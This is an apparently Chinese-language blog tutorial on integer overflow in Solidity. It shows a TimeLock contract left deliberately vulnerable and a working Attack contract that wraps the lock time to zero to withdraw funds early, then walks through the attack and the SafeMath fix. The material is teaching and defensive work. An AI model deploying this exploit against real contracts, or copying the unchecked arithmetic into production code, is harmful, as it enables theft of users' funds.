数学溢出攻击演练与防范
一个数字在内存中是有范围的,如果超出这个范围就会溢出,比如 uint256 是无符号的整数,范围是256位,最大的数字范围是 2的256次方减1,最小的范围是 0,如果超过范围是上溢,低于范围是下溢。
(1) 已知 uint256 最大的范围是2的256次方减1,即 2**256-1,如果比这个数大1,发生上溢1,会回到数值0,如果上溢2,会回到数值1,以此类推。
(2) 一个数字小于0,出现下溢,比如 -1 会回到 2**256-1,-2 会回到 2**256-2,以此类似,这个数会是一个巨大的数。
数学溢出攻击的示例代码:https://solidity-by-example.org/hacks/overflow
具体代码
合约 A 的功能是一个时间锁,名称是 TimeLock,有三个函数,第一个函数是存币 deposit,在这个方法里给用户增加完余额后会记录用户的锁定时间,锁定时间是当前时间加上一周。第二个函数是增加锁定时间 increaseLockTime,有一个参数是增加的时间,如果攻击者给出一个小于零的数(负数)造成下溢,此时锁定时间就被减少,而不是增加。第三个函数是取币 withdraw,会判断锁定时间,当前时间必须大于用户的锁定时间才能取币。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
contract TimeLock { mapping(address => uint) public balances; //用户余额 mapping(address => uint) public lockTime; //锁定时间 function deposit() external payable { //存币 balances[msg.sender] += msg.value; //增加余额 lockTime[msg.sender] = block.timestamp + 1 weeks; //增加一周为解锁时间 } function increaseLockTime(uint _secondsToIncrease) public { //增加锁定时间 lockTime[msg.sender] += _secondsToIncrease; //这个加法可能出现溢出 } function withdraw() public { //取币 require(balances[msg.sender] > 0, "Insufficient funds"); require(block.timestamp > lockTime[msg.sender], "Lock time not expired"); //判断锁定时间 uint amount = balances[msg.sender]; balances[msg.sender] = 0; (bool sent, ) = msg.sender.call{value: amount}(""); //转账 require(sent, "Failed to send Ether"); } } |
下面是合约B,名称是 Attack,用于攻击测试,主要是4个函数,deposit 用于存币,withdraw 用于取币,attack 用于攻击,它会调用增加锁定时间的函数,先获取当前合约地址在 TimeLock 合约里的锁定时间,再给这个时间置为负数,实现下溢,一个正数加上他对应的负责等于0,这样实现了修改锁定时间。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
contract Attack { TimeLock timeLock; //时间锁合约地址 constructor(TimeLock _timeLock) { timeLock = TimeLock(_timeLock); } fallback() external payable {} function deposit() public payable{ timeLock.deposit{value: msg.value}(); //存币 } function withdraw() public payable{ timeLock.withdraw(); //取币 } function attack() public payable { timeLock.increaseLockTime( uint(- timeLock.lockTime(address(this))) //负数 ); } function getBalance() public view returns (uint) { return address(this).balance; } } |
演练过程
布署完两个合约之后,Attack 先调用 deposit 存一个币,再使用 withdraw 取币,发现提示错误,因为锁定了一周时间,要一周之后才能取,如下图所示:
可以再看一下在 TimeLock 合约里看到锁定时间为 1657272481,如下图所示:
我们调用 attack 函数增加锁定时间,参数给一个负数,正数减去对应的负数结果为 0,再查看 lockTime 为 0,再点击 withdraw 就可以取币,如下图所示。
防范
为了防止数学溢出,可以使用 OpenZeppelin 里的 SafeMath,再调用加法的时候,使用 add 函数,代码修改如下:
1 2 3 4 5 6 7 8 9 10 11 12 |
pragma solidity ^0.7.6; import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/math/SafeMath.sol"; contract TimeLock { using SafeMath for uint; function increaseLockTime(uint _secondsToIncrease) public { //增加锁定时间 lockTime[msg.sender] = lockTime[msg.sender].add( _secondsToIncrease); //调用add加法 } //..... } |
这时我们再次尝试攻击,存币后,再取币就会提示溢出,无法完成取币操作,如下图所示:
我们来看一下 SafeMath 里如何实现 add 函数的,代码里可以看出,会验证相加后的结果是否大于或等于原来的数,如果相加的结果反而比原来的小,那说明产生的溢出。
1 2 3 4 5 6 |
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } |
转载请注明:exchen's blog » 数学溢出攻击演练与防范